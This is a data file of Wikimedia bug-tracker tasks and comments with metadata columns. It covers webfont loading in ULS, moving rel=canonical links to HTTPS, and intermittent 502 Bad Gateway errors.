+238537,Performance: Investigate HTTP client connection pooling and HTTP pipelining,Perhaps we'll just skip ahead to SPDY..,,,1402096226,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ps3ceyivxervpiaebadp,task_subcomment,,True,c2,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53073,ULS loads many webfonts needlessly on page load,"I'm noticing considerably delayed page load since ULS became active on some pages ([[en:Special:RecentChanges]] is an impressive example).
+
+I realized this is because of ULS loading a whole lot of webfonts only to use them on foreign language names in the ""Languages"" list on the left. Those are language versions of Wikipedia I hardly ever visit. Therefore the webfonts are not used anywhere else and downloading them is quite pointless. Actually the language names are shown fine without the need for additional fonts, that's how it worked for years now.
+
+Therefore I strongly suggest to *not* download webfonts only for the languages list. This is pointless and only adds a huge overhead for no gain at all.
+
+Alternatively add a hard switch to disable loading of webfonts completely (there is the setting to use ""system font"" currently but it doesn't influence the behavior described above but loads webfonts nonetheless).
+
+The third option is to finally accept and fix bug 46306 so users can decide themselves if they want webfonts to be downloaded or not.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50836",Medium,50.0,1373406780,1379659385.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,,False,PHID-TASK-u2gugtsvvbac5ylrii64,task_description,resolved,True,c2,1,False,False,True,-8,True,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+251791,ULS loads many webfonts needlessly on page load,"(In reply to comment #13)
+> I'm told this was partially fixed.
+> 
+> (In reply to comment #9)
+> > I see few options:
+> > 1) do nothing
+> > 2) exclude those elements from webfonts (there is similar system as for input
+> > methods)
+> > 3) produce a special small font that contains all the glyphs needed to
+> > display
+> > all the native language names
+> 
+> (2) was done, as far as I understand.
+
+I found a more detailed explanation in the last [[mw:MLEB]] announcement: «Web fonts are no longer loaded for autonyms in the interlanguage area. This is a temporary change to improve performance; a more comprehensive fix may be done in the future.»",,,1380200110,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,1
+251783,ULS loads many webfonts needlessly on page load,"Oh, and (3) is tracked at bug 40874 so we can close this AFAICS.",,,1379659385,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+251778,ULS loads many webfonts needlessly on page load,"I'm told this was partially fixed.
+
+(In reply to comment #9)
+> I see few options:
+> 1) do nothing
+> 2) exclude those elements from webfonts (there is similar system as for input
+> methods)
+> 3) produce a special small font that contains all the glyphs needed to
+> display
+> all the native language names
+
+(2) was done, as far as I understand.
+<https://ganglia.wikimedia.org/latest/graph.php?c=Bits%20caches%20esams&m=cpu_report&r=custom&s=by%20name&hc=4&mc=2&cs=9%2F19%2F2013%2012%3A3&ce=9%2F19%2F2013%2019%3A59&st=1379658930&g=network_report&z=medium> is the effect of <https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=83904&oldid=83899> i.e. https://gerrit.wikimedia.org/r/#/c/85014/ which deployed https://gerrit.wikimedia.org/r/#/c/84779/ i.e.
+https://github.com/wikimedia/jquery.webfonts/commit/e71774efe38e0638eb6b847f27d207314ca6c0e8
+https://github.com/wikimedia/jquery.webfonts/commit/0cbf6df025363e6917c29949b149a69d625984ad
+https://github.com/wikimedia/jquery.webfonts/commit/4b646585071b9af8de34b460e801179b56eae76c
+https://github.com/wikimedia/jquery.webfonts/commit/82dda43f8b6d39cc372833070524c66f7a3aea06
+among which the commit(s) in question must be.",,,1379659255,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,3,True,,,3,True,1,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+251772,ULS loads many webfonts needlessly on page load,"I tend to reopen this bug because the autonyms were only part of the problem and I used this list only as an example since it was most obvious.
+
+Actually(especially on Commons) there are many other places were various translations of the same text are offered by various translation templates. Most of the time one is only interested in his/her native language (or maybe English), therefore loading of webfonts wouldn't be necessary in this case either. The proposed solution for bug 40874 won't solve the problem, though.
+
+The easiest solution would still be to either
+- offer an option to completely disable ULS when the user knows he does not need it (bug 46306)
+- offer an option to easily disable all webfonts (bug 51102)
+
+To account for the fact that the newly developed font will mitigate the worst part (loading of almost all webfonts at one time when visiting a page with many translations) I lowered the importance of this bug.",,,1375821718,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,2,False,,,-4,True,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+251766,ULS loads many webfonts needlessly on page load,"Going to dupe to bug 40874.
+
+*** This bug has been marked as a duplicate of bug 40874 ***",,,1375774312,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+251761,ULS loads many webfonts needlessly on page load,"We're going to develop a font that will be able to display all the autonyms used in ULS, including autonyms used in MediaWiki. This will reduce the number of web fonts that have to be loaded for pages with many interlanguage links, and will also ensure a complete display of the currently used autonyms in ULS.
+
+Tracked as https://mingle.corp.wikimedia.org/projects/internationalization/cards/1865. No guarantees on delivery yet, because it's not planned for development, but I think that in about two months we should have something for this.",,,1375772270,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,2,False,,,-4,True,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+251755,ULS loads many webfonts needlessly on page load,"I don't think there is consensus that loading webfonts for interlanguage links is always useless.
+
+I see few options:
+1) do nothing
+2) exclude those elements from webfonts (there is similar system as for input methods)
+3) produce a special small font that contains all the glyphs needed to display all the native language names
+
+Both 2) and 3) are problematic because there are many other places besides interlangugea links where language names are present (the many non ULS language selectors, translatable pages etc.). Those would need continuous maintenance.
+
+I would prefer 1), since it is simplest and has the least amount of maintenance needed. If the reason for creating this bug is that loading the fonts is slow, we can fix this by improving the performance of ULS (one performance fix was already deployed today).
+
+I would dupe this to bug 50836.",,,1373486964,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-7,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+251749,ULS loads many webfonts needlessly on page load,"If it was implemented in a way that webfonts can be disabled for all languages at the same time this would be an appropriate solution I assume.
+
+Since I'm not familiar with the implementation details of ULS:
+Would the proposed solution in bug 51102 (allow to select if and what webfont is used for HTML elements with lang=""xy"" attribute set) disable webfonts everywhere in the UI or are there places webfonts are applied by ULS where this would not suffice?",,,1373454230,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-7,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+251745,ULS loads many webfonts needlessly on page load,I see. Would the proposal in bug 51102 tackle most of this problem?,,,1373452570,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0
+251739,ULS loads many webfonts needlessly on page load,"No, I think your proposed summary doesn't fit my concerns well. Actually I have several reasons for that:
+1) As pointed out I'd also be happy (if not happier) with a more general solution (e.g. turning of usage of webfonts completely as a user setting, or even solving bug 46306).
+2) There are also other cases were loading of webfonts would not be really necessary, e.g. pages which include many translations (like [1]), which are hidden from the user anyway but get initially loaded (including webfonts) on page load.
+3) Since this will always delay page load (even after the performance issues described in the mentioned bugs are solved) and potentially wastes bandwidth and data volume for many users (as pointed out in comment 3), this is no enhancement but should be considered a bug.
+
+[1] http://commons.wikimedia.org/wiki/Commons:Administrators%27_noticeboard/User_problems",,,1373449439,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-7,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,1
+251729,ULS loads many webfonts needlessly on page load,"(In reply to comment #0)
+> Actually the language names are shown fine without the need for 
+> additional fonts, that's how it worked for years now.
+
+I can imagine that this would be the statement to be challenged - I always had some squares etc. displayed for some rather exotic languages/scripts, so I'm not sure if the loading is really ""needless"" if those are now displayed correctly.
+
+If I get you correctly, I'm tempted to change the bug summary from ""ULS loads many webfonts needlessly on page load"" to ""ULS should not load webfonts only because of entries in the 'Other languages' list"" (which would enhance funtionality and turn this into an enhancement request).",,,1373447925,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-7,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+251722,ULS loads many webfonts needlessly on page load,"(In reply to comment #3)
+> Have you read comment 1 Nemo? 
+
+Not before writing mine; I had a mid-air collision, as timestamp hints.
+
+> I explicitly stated it is *not* a duplicate of
+> those bugs.
+
+That's not enough to actually *make* it not a duplicate ;) but devs will know.",,,1373408705,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+251716,ULS loads many webfonts needlessly on page load,"Have you read comment 1 Nemo? I explicitly stated it is *not* a duplicate of those bugs.
+
+The linked bugs are about optimizing performance of loading of webfonts.
+This bug is about not loading them at all if not necessary.
+
+While the existing bugs might account for suboptimal code, they can't speed up font loading itself (which might take considerable time on slow connections and waste valuable data volume on limited/expensive mobile connections).",,,1373407873,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-8,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+251710,ULS loads many webfonts needlessly on page load,"This looks like a duplicate of bug 49935, which also started with a report about RecentChanges.",,,1373407021,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+251705,ULS loads many webfonts needlessly on page load,"Please note that bug 49935, bug 50836 and bug 33018 might be related but are not the same! They are probably adding to the delayed page load I'm noticing but fixing those bugs wont solve the underlying problem of needlessly loaded webfonts described in this bug!",,,1373406977,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+53002,Point rel=canonical to HTTPS on every page,"I propose setting $wgEnableCanonicalServerLink = true everywhere, and setting $wgCanonicalServer to HTTPS on all servers except Chinese language wikis.
+
+We did this with uz.wikipedia.org, and so we know with some confidence that it will cause Google to provide links directly to the https website. This will cause most of our traffic to go to HTTPS.
+
+I'm filing this to create a place for discussion, rather than as an immediate action item. Before this can be done, the SSL cluster would have to be expanded significantly, assuming Ganglia capacity data is correct -- maybe by a factor of 10. It may be simplest to wait until HTTPS is sent directly to Varnish, but even then, some proper capacity calculations would be in order.
+
+This would be an alternative to {T50402} and a significant step towards {T49832}.
+
+Update:
+>>! In T49832#1240813, @BBlack wrote:
+> As I've stated before, personally I'd prefer to do the hard redirects before the rel=canonical during the initial rollout process, simply because it's easier to take back in realtime if anything doesn't work out as planned in terms of load and capacity.  We already have a process down for this stuff.  It's not my place to speak to the rest, but I assure you people are aware and working on it.
+
+**See Also**:
+* {T50402}
+* {T49832}",Medium,50.0,1373339340,1434483779.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_description,resolved,True,c2,1,False,False,False,-8,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1
+475850,Point rel=canonical to HTTPS on every page,Done for all in: https://gerrit.wikimedia.org/r/#/c/218648/,,,1434483779,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,93,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+474011,Point rel=canonical to HTTPS on every page,"Note, that this has happened for 7 languages (See 8f99d5f4)
+
+Based on https://lists.wikimedia.org/pipermail/wikimedia-l/2015-June/078214.html I imagine the other languages are not far behind.",,,1434155214,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,False,,,93,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+418221,Point rel=canonical to HTTPS on every page,Either way please first change the sites URL in Wikidata by contacting either @hoo or @aude. Because of an implementation detail otherwise editing language links breaks. As a side effect of such a change the language links would change to HTTPS.,,,1425037584,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,78,True,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0
+418092,Point rel=canonical to HTTPS on every page,"Either way, we'll need a deployment plan that gradually increases load going by wiki domainnames (or sets of them), rather than turning them all on at once.  I'm inclined to redirect first because we have more-immediate control there in terms of seeing and reacting to load changes.",,,1424997040,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,78,True,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0
+417473,Point rel=canonical to HTTPS on every page,"If we switched over rel=canonical first, we wouldn't have to redirect so many users. So the site would seem faster.",,,1424919226,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,False,,,78,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+417140,Point rel=canonical to HTTPS on every page,"Generally rel=canonical will be the final step for a given site, after redirects and such are in place.  In the general case, all of that is still pending on the rest of the work in the HTTPS-by-default project, scheduled for circa end-of-March, at which point we can start deciding when and in what order various sites are enabled as part of an operational rollout plan.",,,1424888548,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,78,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+416327,Point rel=canonical to HTTPS on every page,"How about first setting canonical to HTTPS for all projects that have signed up for the HTTPS Beta program? 
+https://meta.wikimedia.org/wiki/HTTPS/Beta_program",,,1424770407,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,77,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0
+247580,Point rel=canonical to HTTPS on every page,I endorse this message.,,,1373404811,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+52891,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Intermittently, I get 502 Bad Gateway errors using HTTPS on en.wikipedia.org while logged in. The footer reads ""nginx/1.1.1.9"" or similar. <https://en.wikipedia.org/wiki/List_of_Anything_Muppets> is a sample URL. A browser window refresh solves the issue, but we should investigate and address what's causing these intermittent errors.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1373215740,1401620920.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-gowxiep2taob76ys3p3a,task_description,declined,True,c2,1,True,False,False,-8,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+241287,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to Andre Klapper from comment #18)
+> (In reply to MZMcBride from comment #15)
+> > This hasn't happened recently for me. 
+> 
+> If that's still the case I propose RESOLVED WORKSFORME.
+
+Yeah, this report is not particularly actionable by now. Icinga reports were also added and are regularly acted upon, for instance:
+
+23.48 <+icinga-wm_> PROBLEM - HTTP 5xx req/min on tungsten is CRITICAL: CRITICAL: 7.14% of data exceeded the critical threshold [500.0]
+00.03 <+icinga-wm_> RECOVERY - HTTP 5xx req/min on tungsten is OK: OK: Less than 1.00% data above the threshold [250.0]",,,1401620920,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,39,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1
+241284,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to MZMcBride from comment #15)
+> This hasn't happened recently for me. 
+
+If that's still the case I propose RESOLVED WORKSFORME.
+
+> I wonder if this bug report should
+> re-focus on better logging/monitoring of 502s.
+
+We have only 5xx monitoring - if you have specific recommendations, could you put them into a separate enhancement requests?",,,1395069742,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,28,True,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1
+241282,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to comment #16)
+> Ori or Nemo: do you know if we graph this data (users hitting nginx gateway
+> timeout errors --> 502s) anywhere or if it would be possible to do so?
+
+Presumably they appear in https://gdash.wikimedia.org/dashboards/reqerror/ mixed with all the 5xx (I'm not able to assess how complete/precise this report is)?
+If this intermittent problem has the same cause that such problems have had lately, i.e. network links at capacity, it might be more fruitful to try and set up a monitoring tool for the network like https://monitor.archive.org/weathermap/weathermap.html",,,1387377004,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,16,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+241278,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",Ori or Nemo: do you know if we graph this data (users hitting nginx gateway timeout errors --> 502s) anywhere or if it would be possible to do so?,,,1387376367,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+241273,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",This hasn't happened recently for me. I wonder if this bug report should re-focus on better logging/monitoring of 502s.,,,1387376218,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0
+241270,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to comment #13)
+> MZMcBride: Has this happened recently?
+
+I can confirm that I received a ""502 Bad Gateway"" (nginx/1.1.19) today on enwiki when following a perfectly fine link.  The second time I followed the link, it took me where it was supposed to. 
+
